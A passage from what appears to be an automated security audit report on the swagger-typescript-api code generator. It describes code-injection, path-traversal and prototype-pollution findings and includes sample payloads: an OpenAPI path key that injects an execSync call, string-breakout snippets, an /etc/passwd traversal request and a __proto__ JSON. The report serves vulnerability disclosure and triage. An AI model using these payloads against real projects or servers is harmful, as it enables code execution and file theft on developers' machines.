`paths` object (`rawRouteName`). `parseRouteName` only rewrites `{param}/:param` tokens into `${param}` placeholders (line 180-189, `fixedRoute.replace(pathParam.$match, `\\${insertion}\\`)`); every other character in the path key — including literal backticks, `${...}` sequences, or `\`` — passes through completely unmodified into `route.request.path`. The `templates-worker.ts` Eta instance is created with no custom escape function (`new Eta({ functionHeader: ... })`), so `<%~ %>` performs zero escaping. Consequently, an attacker who supplies (or influences, e.g. via a fetched `--url` schema or an external `$ref`) an OpenAPI document can craft a `paths` key such as `/pets\`, method: 'GET', ...params`); (`require('child_process').execSync('...')`), (`{path:\`/x` that breaks out of the JS template-literal/object-literal context in the generated `<Module>Api.ts` file. The malicious payload becomes syntactically valid statements inside the generated class method body. This matches the recon-identified trust boundary 'untrusted-schema-to-generated-code': when the victim developer subsequently compiles/imports and runs the generated API client (the normal, expected next step after `swagger-typescript-api generate`), the injected code executes with the developer's privileges (CWE-94 code injection - > effectively RCE against the developer/build environment). None of the documented design controls apply here: `escapeJSDocContent` only guards `*/` in JSDoc comments, and `isValidName/isValidIdentifier` are only applied to the method NAME (`route.routeName.usage`, which is additionally always passed through `_.camelCase()` in `templates/base/route-name.ejs`, stripping special characters) — neither control touches `route.request.path`, which is the literal, unmodified path string.

**F19** **LOW** Path traversal · CWE-22

**Pending verdict** conf 0.70

`tests/spec/paths-2-prefer-existing-schema-names/server.ts:8-24`

`resolveApiFilePath()` builds the served file path by concatenating the request pathname onto `safeRoot` with `path.join`, after only checking a string prefix (`pathname.startsWith("/api/v1/")`). It never rejects `..` segments nor verifies the resolved path stays inside `safeRoot` (e.g. via `path.relative/startsWith` on the final resolved path). `createPaths2ApiServer()` (line 31-52) calls this with `req.url` decoded via `decodeURIComponent` and, on a non-null result, does `fs.readFile(filePath)` and returns the raw file content with HTTP 200 — no containment check exists anywhere in the request path. A request such as `GET /api/v1/../../../../etc/passwd` (`pathname.startsWith('/api/v1/')` is true, `slice` gives `../../../../etc/passwd`) causes `path.join(safeRoot, 'v1', '../../../../etc/passwd')` to resolve outside `safeRoot`, and the server reads and returns that file's contents to the requester. The server is only started inside vitest test suites (`basic.test.ts`, `false-case.test.ts`, `output-types.test.ts`) and binds to 127.0.0.1 with an ephemeral port, so exploitation requires a co-resident local process/user to discover the port during the narrow test-run window — this bounds real-world impact and is why severity is kept low despite the sink being a textbook unauthenticated arbitrary-file-read. If this helper were ever reused for a longer-lived or non-loopback listener, the same code would be a critical arbitrary file disclosure.

## Needs more info — 4

Real sink defects whose end-to-end impact hinges on an unverified condition (noted inline): the prototype-pollution pair depends on whether `es-toolkit's merge` carries a `__proto__` guard (unverifiable offline); the two code-injection items compute an unescaped string that the `shipped` templates do not currently render, but which is exposed to custom-template authors.

**F20** **MEDIUM** Codegen injection · CWE-94

**Needs more info** conf 0.55

`src/schema-routes/schema-routes.ts:629-642`

`handleResponseHeaders()` builds the `headers: {...}` fragment of the generated `full` response-union type by interpolating each OpenAPI response-header NAME (`k`, an attacker-controlled schema key from the untrusted spec's `responses.<status>.headers` map) directly into a double-quoted TS property-key position with zero escaping: `"${k}": ${v}`. Every other place in this codebase that turns an untrusted schema key into a TS property name goes through a real sanitizer (`this.typeNameFormatter.isValidName(name) ? name : this.config.Ts.StringValue(name)`, see `src/schema-parser/base-schema-parsers/object.ts:45-47`) before emission; `handleResponseHeaders` skips that path entirely and does raw template-literal interpolation. A header name containing `"` lets the schema author close the property-key string early and inject arbitrary TypeScript — including a value-level statement like `export const pwned = (() : number => { /* attacker code */ return 1; })()`; — into the string that later becomes `route.response.fullTypes` (`schema-routes.ts:1341`). Because that string is spliced into what is meant to be the RHS of a `type X = <union>;` declaration, closing the type literal early (`" ; export const pwned = (()=>{...})(); type _Dummy = {`) turns the injected fragment into a genuine top-level VALUE declaration that survives TS→JS emission and executes at module load in the victim's compiled output — this is not merely a broken type, it is code that runs.

Reachability caveat (why this is medium, not high/critical): in the currently-shipped `templates/{base,default,modular}` set, `route.response.fullTypes` is never read (`route.response.type` is used instead — see `templates/base/route-type.ejs:23`); grepping the whole `templates/` tree shows no reference to `fullTypes`. So with the bundled templates as shipped, this bug computes an unescaped/malformed string but that string is not currently written to any generated output file. It IS, however, part of the public `ParsedRoute.response` shape exposed to `--templates/custom-config` template authors (`types/index.ts:350 fullTypes?: string`), so any custom or future template that renders `route.response.fullTypes` (a natural thing to do, since it's the one field meant to express the full `{data, status, headers, ...}` response shape) reintroduces the injection with no further code changes needed. The sink itself is broken and should be fixed regardless of current template wiring.

**F21** MEDIUM Codegen injection · CWE-94

[Needs more info](#) conf 0.50

`src/schema-routes/schema-routes.ts:675–687`

In the same `full.types` builder, `response.description` (the untrusted schema's `responses.<status>.description`, spread verbatim from the raw OpenAPI response object into `responseInfo` at line 489/502) is interpolated into a double-quoted string literal (`statusText: "${response.description}"`) with no quote/backslash/`\${}` escaping. Unlike the header-name sink this needs no special field name — a `description` is present on virtually every response object in a real-world spec — so it is the easier-to-trigger half of the same injection primitive: a description of `foo"; }; export const pwned = (()=>{...})(); type _D = {` breaks out of the string literal, closes the enclosing object/type-alias, and lets arbitrary top-level TS statements survive into the generated file wherever `full.types / fullTypes` is rendered. Same reachability caveat as the headers finding: none of the bundled base/default/modular templates currently read `route.response.fullTypes`, so this only manifests through a custom template (or a future/downstream template) that consumes that field; the unescaped construction itself is nonetheless a real defect that should be fixed at the source (this template-literal builder), consistent with how `ObjectSchemaParser` escapes untrusted names elsewhere via `isValidName / Ts.StringValue`.

**F22** MEDIUM Prototype pollution · CWE-1321

[Needs more info](#) conf 0.45

`src/configuration.ts:457–464`

`CodeGenConfig.update()` forwards its `update` argument straight into `objectAssign(this, update) -> es-toolkit merge(this, update)` with no key filtering. The generation pipeline (`src/code-gen-process.ts:95–99`, `this.config.update({ resolvedSwaggerSchema, swaggerSchema: resolvedSwaggerSchema.usageSchema, originalSchema: resolvedSwaggerSchema.originalSchema })`, outside this task's `target_files` but part of the same trust boundary) feeds the ENTIRE parsed/resolved OpenAPI document — sourced from an attacker-controlled `--url` response or schema file (`parseSchemaContent -> JSON.parse`, which preserves a literal `"__proto__"` JSON key as a normal own enumerable data property, not the special prototype-setter) — as the value of `swaggerSchema / originalSchema`. Since `this.swaggerSchema / this.originalSchema` start out as `null` (not plain objects), `es-toolkit's merge` (assuming, like virtually every `lodash-style` deep-merge, it recurses into object-typed source values via `target[key] = merge(isPlainObject(target[key]) ? target[key] : {}, source[key])` without an explicit `key === '__proto__' / 'constructor' / 'prototype'` skip) will recursively walk the WHOLE untrusted document looking for nested plain-object values. Any `__proto__` key anywhere in that document — e.g. inside a deeply nested property/response schema — causes `target["__proto__"]` to be read via the inherited `Object.prototype` accessor (returning the real `Object.prototype` reference, not a copy) and then merged into in-place, e.g. `Object.prototype["polluted"] = ...`, permanently polluting the global prototype for the remainder of the CLI/library process. I could not install `node_modules` or fetch `es-toolkit's` source in this sandbox (no network, `execution_available=false`) to confirm whether `es-toolkit@1.47.0's` `merge` contains the `__proto__ / constructor` denylist that would neutralize this; that is the single open variable this finding hinges on.

**F23** MEDIUM Prototype pollution · CWE-1321

[Needs more info](#) conf 0.45

`src/swagger-schema-resolver.ts:62–79`

`convertSwaggerObject()` deep-merges `result.info` and `result.paths` — subtrees taken verbatim from the untrusted schema document (fetched via `--url` with no host allowlist, or read from a local file, then `JSON.parse`d in `parse-schema-content.ts` and `structuredClone`d, both of which preserve a literal `"__proto__"` key as a normal own enumerable property) — into freshly-created plain-object literals via `es-toolkit merge()`. `result.info = merge({title, version},`

`result.info || {})` and `result.paths = merge({}, result.paths || {})` both use es-toolkit merge with the attacker object as the SOURCE and a bare `{}`-derived object as the TARGET. If a crafted `info` or `paths` value contains a `__proto__` key mapping to an object (e.g. `{"info":{"title":"x"},"__proto__":{"polluted":"yes"}}`), and es-toolkit's merge lacks an explicit `__proto__ / constructor / prototype` skip-guard, the recursive merge reads the target's inherited `__proto__` accessor (which for a plain object literal returns the live global `Object.prototype` reference) and merges the attacker's nested keys directly into it, polluting `Object.prototype` for the rest of the process. This is the same root-cause pattern as the `config.update()` sink (`f_configmerge_1`) but reachable earlier and more directly from a remote `url` /file schema without needing the full resolved-schema round-trip.

Rejected by validate – 6

Candidates VASH's validate stage judged non-exploitable or not attacker-reachable — shown to evidence that confirmation was selective.

| SEVERITY      | CLASS                          | LOCATION                                   |
|---------------|--------------------------------|--------------------------------------------|
| CRITICAL      | SSRF · CWE-918                 | src/util/request.ts:12–39                  |
| HIGH          | SSRF · CWE-918                 | src/swagger-schema-resolver.ts:117–135     |
| MEDIUM        | Prototype pollution · CWE-1321 | src/resolved-swagger-schema.ts:752–810     |
| MEDIUM        | ReDoS · CWE-1333               | src/schema-routes/schema-routes.ts:147–178 |
| INFORMATIONAL | Codegen injection · CWE-94     | src/schema-routes/schema-routes.ts:674–689 |
| INFORMATIONAL | Path traversal · CWE-22        | src/util/file-system.ts:66–72              |

Generated by VASH (Vanguard Agentic Security Harness) · static recall + sandboxed executed-PoC confirmation. Host-static pass — no PoC executed (`poc_succeeded=0`). Findings are static source-to-sink leads pending triage; not adjudicated CVEs. Target: `github.com/acacode/swagger-typescript-api @ v13.12.1 (ee5034b)`. Scorer/ground-truth: none (exploratory blind run).